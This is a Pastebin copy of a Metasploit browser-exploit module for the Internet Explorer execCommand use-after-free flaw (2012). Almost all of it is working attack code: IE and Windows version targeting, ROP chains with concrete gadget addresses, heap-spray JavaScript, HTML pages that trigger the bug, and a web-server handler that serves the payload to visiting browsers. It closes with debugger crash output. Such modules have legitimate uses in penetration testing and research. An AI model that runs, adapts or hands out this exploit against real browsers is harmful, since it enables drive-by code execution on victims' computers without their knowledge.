daily pastebin goal
81%
SHARE
TWEET

Microsoft Internet Explorer execCommand Use-After-Free

a guest Sep 19th, 2012 3,073 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # Framework web site for more information on licensing and terms of use.
  5. #   http://metasploit.com/framework/
  6. ##
  7.  
  8. require 'msf/core'
  9.  
  10. class Metasploit3 < Msf::Exploit::Remote
  11.   Rank = GoodRanking
  12.  
  13.   include Msf::Exploit::Remote::HttpServer::HTML
  14.   include Msf::Exploit::Remote::BrowserAutopwn
  15.   autopwn_info({
  16.      :ua_name    => HttpClients::IE,
  17.      :ua_minver  => "7.0",
  18.      :ua_maxver  => "9.0",
  19.      :javascript => true,
  20.      :rank       => GoodRanking
  21.    })
  22.  
  23.   def initialize(info={})
  24.     super(update_info(info,
  25.       'Name'           => "Microsoft Internet Explorer execCommand Use-After-Free Vulnerability ",
  26.       'Description'    => %q{
  27.         This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When
  28.         rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner,
  29.         but the same memory is reused again later in the CMshtmlEd::Exec() function, leading
  30.         to a use-after-free condition.  Please note that this vulnerability has
  31.         been exploited in the wild since Sep 14 2012, and there is currently no official
  32.         patch for it.
  33.       },
  34.       'License'        => MSF_LICENSE,
  35.       'Author'         =>
  36.         [
  37.           'unknown',     # Some secret ninja
  38.           'eromang',     # First public discovery
  39.           'binjo',
  40.           'sinn3r',      # Metasploit
  41.           'juan vazquez' # Metasploit
  42.         ],
  43.       'References'     =>
  44.         [
  45.           [ 'OSVDB', '85532' ],
  46.           [ 'URL', 'http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/' ],
  47.           [ 'URL', 'http://blog.vulnhunt.com/index.php/2012/09/17/ie-execcommand-fuction-use-after-free-vulnerability-0day/'],
  48.           [ 'URL', 'http://metasploit.com' ]
  49.         ],
  50.       'Payload'        =>
  51.         {
  52.           'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
  53.         },
  54.       'DefaultOptions'  =>
  55.         {
  56.           'ExitFunction'         => "none",
  57.           'InitialAutoRunScript' => 'migrate -f',
  58.         },
  59.       'Platform'       => 'win',
  60.       'Targets'        =>
  61.         [
  62.           [ 'Automatic', {} ],
  63.           [ 'IE 7 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5fa', 'Random' => false } ],
  64.           [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Random' => false } ],
  65.           [ 'IE 7 on Windows Vista',  { 'Rop' => nil,     'Offset' => '0x5fa', 'Random' => false } ],
  66.           [ 'IE 8 on Windows Vista',  { 'Rop' => :jre,    'Offset' => '0x5f4', 'Random' => false } ],
  67.           [ 'IE 8 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x5f4', 'Random' => false } ],
  68.           [ 'IE 9 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x5fc', 'Random' => true } ]
  69.         ],
  70.       'Privileged'     => false,
  71.       'DisclosureDate' => "Sep 14 2012",  # When it was spotted in the wild by eromang
  72.       'DefaultTarget'  => 0))
  73.   end
  74.  
  75.   def get_target(agent)
  76.     #If the user is already specified by the user, we'll just use that
  77.     return target if target.name != 'Automatic'
  78.  
  79.     if agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
  80.       return targets[1]  #IE 7 on Windows XP SP3
  81.     elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
  82.       return targets[2]  #IE 8 on Windows XP SP3
  83.     elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
  84.       return targets[3]  #IE 7 on Windows Vista
  85.     elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8/
  86.       return targets[4]  #IE 8 on Windows Vista
  87.     elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
  88.       return targets[5]  #IE 8 on Windows 7
  89.     elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
  90.       return targets[6]  #IE 9 on Windows 7
  91.     else
  92.       return nil
  93.     end
  94.   end
  95.  
  96.   def junk(n=4)
  97.     return rand_text_alpha(n).unpack("V")[0].to_i
  98.   end
  99.  
  100.   def nop
  101.     return make_nops(4).unpack("V")[0].to_i
  102.   end
  103.  
  104.   def get_payload(t, cli)
  105.     code = payload.encoded
  106.  
  107.     # No rop. Just return the payload.
  108.     return code if t['Rop'].nil?
  109.  
  110.     # Both ROP chains generated by mona.py - See corelan.be
  111.     case t['Rop']
  112.     when :msvcrt
  113.       print_status("Using msvcrt ROP")
  114.       exec_size = code.length
  115.       stack_pivot = [
  116.         0x77c4e393, # RETN
  117.         0x77c4e392, # POP EAX # RETN
  118.         0x77c15ed5, # XCHG EAX, ESP # RETN
  119.       ].pack("V*")
  120.       rop =
  121.       [
  122.         0x77C21891,  # POP ESI # RETN
  123.         0x0c0c0c04,  # ESI
  124.         0x77c4e392,  # POP EAX # RETN
  125.         0x77c11120,  # <- *&VirtualProtect()
  126.         0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
  127.         junk,
  128.         0x77c2dd6c,  # XCHG EAX,ESI # ADD [EAX], AL # RETN
  129.         0x77c4ec00,  # POP EBP # RETN
  130.         0x77c35459,  # ptr to 'push esp #  ret'
  131.         0x77c47705,  # POP EBX # RETN
  132.         exec_size,   # EBX
  133.         0x77c3ea01,  # POP ECX # RETN
  134.         0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
  135.         0x77c46100,  # POP EDI # RETN
  136.         0x77c46101,  # ROP NOP (-> edi)
  137.         0x77c4d680,  # POP EDX # RETN
  138.         0x00000040,  # newProtect (0x40) (-> edx)
  139.         0x77c4e392,  # POP EAX # RETN
  140.         nop,         # NOPS (-> eax)
  141.         0x77c12df9,  # PUSHAD # RETN
  142.       ].pack("V*")
  143.  
  144.     when :jre
  145.       print_status("Using JRE ROP")
  146.       exec_size = 0xffffffff - code.length + 1
  147.       if t['Random']
  148.         stack_pivot = [
  149.           0x0c0c0c0c, # 0c0c0c08
  150.           0x7c347f98, # RETN
  151.           0x7c347f97, # POP EDX # RETN
  152.           0x7c348b05  # XCHG EAX, ESP # RET
  153.         ].pack("V*")
  154.       else
  155.         stack_pivot = [
  156.           0x7c347f98, # RETN
  157.           0x7c347f97, # POP EDX # RETN
  158.           0x7c348b05  # XCHG EAX, ESP # RET
  159.         ].pack("V*")
  160.       end
  161.       rop =
  162.       [
  163.         0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
  164.         exec_size,   # Value to negate, will become 0x00000201 (dwSize)
  165.         0x7c347f98,  # RETN (ROP NOP)
  166.         0x7c3415a2,  # JMP [EAX]
  167.         0xffffffff,
  168.         0x7c376402,  # skip 4 bytes
  169.         0x7c351e05,  # NEG EAX # RETN
  170.         0x7c345255,  # INC EBX # FPATAN # RETN
  171.         0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
  172.         0x7c344f87,  # POP EDX # RETN
  173.         0xffffffc0,  # Value to negate, will become 0x00000040
  174.         0x7c351eb1,  # NEG EDX # RETN
  175.         0x7c34d201,  # POP ECX # RETN
  176.         0x7c38b001,  # &Writable location
  177.         0x7c347f97,  # POP EAX # RETN
  178.         0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
  179.         0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
  180.         0x7c345c30,  # ptr to 'push esp #  ret '
  181.       ].pack("V*")
  182.     end
  183.  
  184.     code = stack_pivot + rop + code
  185.     return code
  186.   end
  187.  
  188.   # Spray published by corelanc0d3r
  189.   # Exploit writing tutorial part 11 : Heap Spraying Demystified
  190.   # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
  191.   def get_random_spray(t, js_code, js_nops)
  192.  
  193.     spray = <<-JS
  194.  
  195.     function randomblock(blocksize)
  196.     {
  197.       var theblock = "";
  198.       for (var i = 0; i < blocksize; i++)
  199.       {
  200.         theblock += Math.floor(Math.random()*90)+10;
  201.       }
  202.       return theblock;
  203.     }
  204.  
  205.     function tounescape(block)
  206.     {
  207.       var blocklen = block.length;
  208.       var unescapestr = "";
  209.       for (var i = 0; i < blocklen-1; i=i+4)
  210.       {
  211.         unescapestr += "%u" + block.substring(i,i+4);
  212.       }
  213.       return unescapestr;
  214.     }
  215.  
  216.     var heap_obj = new heapLib.ie(0x10000);
  217.  
  218.     var code = unescape("#{js_code}");
  219.     var nops = unescape("#{js_nops}");
  220.  
  221.     while (nops.length < 0x80000) nops += nops;
  222.  
  223.     var offset_length = #{t['Offset']};
  224.  
  225.     for (var i=0; i < 0x1000; i++) {
  226.       var padding = unescape(tounescape(randomblock(0x1000)));
  227.       while (padding.length < 0x1000) padding+= padding;
  228.       var junk_offset = padding.substring(0, offset_length);
  229.       var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
  230.       while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
  231.       sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
  232.       heap_obj.alloc(sprayblock);
  233.     }
  234.  
  235.     JS
  236.  
  237.     return spray
  238.   end
  239.  
  240.   def get_spray(t, js_code, js_nops)
  241.     js = <<-JS
  242.     var heap_obj = new heapLib.ie(0x20000);
  243.     var code = unescape("#{js_code}");
  244.     var nops = unescape("#{js_nops}");
  245.  
  246.     while (nops.length < 0x80000) nops += nops;
  247.     var offset = nops.substring(0, #{t['Offset']});
  248.     var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
  249.  
  250.     while (shellcode.length < 0x40000) shellcode += shellcode;
  251.     var block = shellcode.substring(0, (0x80000-6)/2);
  252.  
  253.     heap_obj.gc();
  254.  
  255.     for (var i=1; i < 0x300; i++) {
  256.       heap_obj.alloc(block);
  257.     }
  258.  
  259.     var overflow = nops.substring(0, 10);
  260.     JS
  261.   end
  262.  
  263.  
  264.   def load_html1(cli, my_target)
  265.     p = get_payload(my_target, cli)
  266.  
  267.     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
  268.     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
  269.     js_r_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
  270.  
  271.     if my_target['Random']
  272.       js = get_random_spray(my_target, js_code, js_r_nops)
  273.     else
  274.       js = get_spray(my_target, js_code, js_nops)
  275.     end
  276.  
  277.     js = heaplib(js, {:noobfu => true})
  278.  
  279.     html = <<-EOS
  280.     <html>
  281.       <body>
  282.         <script>
  283.           var arrr = new Array();
  284.           arrr[0] = window.document.createElement("img");
  285.           arrr[0]["src"] = "#{Rex::Text.rand_text_alpha(1)}";
  286.         </script>
  287.  
  288.         <iframe src="#{this_resource}/#{@html2_name}"></iframe>
  289.         <script>
  290.           #{js}
  291.             </script>
  292.       </body>
  293.     </html>
  294.     EOS
  295.  
  296.     return html
  297.   end
  298.  
  299.   def load_html2
  300.     html = %Q|
  301.     <HTML>
  302.       <script>
  303.         function funcB() {
  304.           document.execCommand("selectAll");
  305.         };
  306.  
  307.         function funcA() {
  308.           document.write("#{Rex::Text.rand_text_alpha(1)}");
  309.           parent.arrr[0].src = "YMjf\\u0c08\\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
  310.         }
  311.  
  312.       </script>
  313.       <body onload='funcB();' onselect='funcA()'>
  314.         <div contenteditable='true'>
  315.           a
  316.         </div>
  317.       </body>
  318.     </HTML>
  319.     |
  320.  
  321.     return html
  322.   end
  323.  
  324.   def this_resource
  325.     r = get_resource
  326.     return ( r == '/') ? '' : r
  327.   end
  328.  
  329.   def on_request_uri(cli, request)
  330.     print_status request.headers['User-Agent']
  331.     agent = request.headers['User-Agent']
  332.     my_target = get_target(agent)
  333.  
  334.     # Avoid the attack if the victim doesn't have the same setup we're targeting
  335.     if my_target.nil?
  336.       print_error("Browser not supported, sending a 404: #{agent.to_s}")
  337.       send_not_found(cli)
  338.       return
  339.     end
  340.  
  341.     vprint_status("Requesting: #{request.uri}")
  342.  
  343.     if request.uri =~ /#{@html2_name}/
  344.       print_status("Loading #{@html2_name}")
  345.       html = load_html2
  346.     elsif request.uri =~ /#{@html1_name}/
  347.       print_status("Loading #{@html1_name}")
  348.       html = load_html1(cli, my_target)
  349.     elsif request.uri =~ /\/$/ or request.uri =~ /#{this_resource}$/
  350.       print_status("Redirecting to #{@html1_name}")
  351.       send_redirect(cli, "#{this_resource}/#{@html1_name}")
  352.       return
  353.     else
  354.       send_not_found(cli)
  355.       return
  356.     end
  357.  
  358.     html = html.gsub(/^\t\t/, '')
  359.  
  360.     send_response(cli, html, {'Content-Type'=>'text/html'})
  361.  
  362.   end
  363.  
  364.   def exploit
  365.     @html1_name = "#{Rex::Text.rand_text_alpha(5)}.html"
  366.     @html2_name = "#{Rex::Text.rand_text_alpha(6)}.html"
  367.     super
  368.   end
  369.  
  370. end
  371.  
  372.  
  373. =begin
  374. 0:008> r
  375. eax=00000000 ebx=0000001f ecx=002376c8 edx=0000000d esi=00000000 edi=0c0c0c08
  376. eip=637d464e esp=020bbe80 ebp=020bbe8c iopl=0         nv up ei pl nz na pe nc
  377. cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
  378. mshtml!CMshtmlEd::Exec+0x134:
  379. 637d464e 8b07            mov     eax,dword ptr [edi]  ds:0023:0c0c0c08=????????
  380.  
  381. 0:008> u
  382. mshtml!CMshtmlEd::Exec+0x134:
  383. 637d464e 8b07            mov     eax,dword ptr [edi]
  384. 637d4650 57              push    edi
  385. 637d4651 ff5008          call    dword ptr [eax+8]
  386.  
  387. 0:008> k
  388. ChildEBP RetAddr  
  389. 020bbe8c 637d4387 mshtml!CMshtmlEd::Exec+0x134
  390. 020bbebc 637be2fc mshtml!CEditRouter::ExecEditCommand+0xd6
  391. 020bc278 638afda7 mshtml!CDoc::ExecHelper+0x3c91
  392. 020bc298 638ee2a9 mshtml!CDocument::Exec+0x24
  393. 020bc2c0 638b167b mshtml!CBase::execCommand+0x50
  394. 020bc2f8 638e7445 mshtml!CDocument::execCommand+0x93
  395. 020bc370 636430c9 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x149
  396. 020bc3e4 63643595 mshtml!CBase::ContextInvokeEx+0x5d1
  397. 020bc410 63643832 mshtml!CBase::InvokeEx+0x25
  398. 020bc460 635e1cdc mshtml!DispatchInvokeCollection+0x14b
  399. 020bc4a8 63642f30 mshtml!CDocument::InvokeEx+0xf1
  400. 020bc4d0 63642eec mshtml!CBase::VersionedInvokeEx+0x20
  401. 020bc520 633a6d37 mshtml!PlainInvokeEx+0xea
  402. 020bc560 633a6c75 jscript!IDispatchExInvokeEx2+0xf8
  403. 020bc59c 633a9cfe jscript!IDispatchExInvokeEx+0x6a
  404. 020bc65c 633a9f3c jscript!InvokeDispatchEx+0x98
  405. 020bc690 633a77ff jscript!VAR::InvokeByName+0x135
  406. 020bc6dc 633a85c7 jscript!VAR::InvokeDispName+0x7a
  407. 020bc708 633a9c0b jscript!VAR::InvokeByDispID+0xce
  408. 020bc8a4 633a5ab0 jscript!CScriptRuntime::Run+0x2989
  409. =end
RAW Paste Data
Top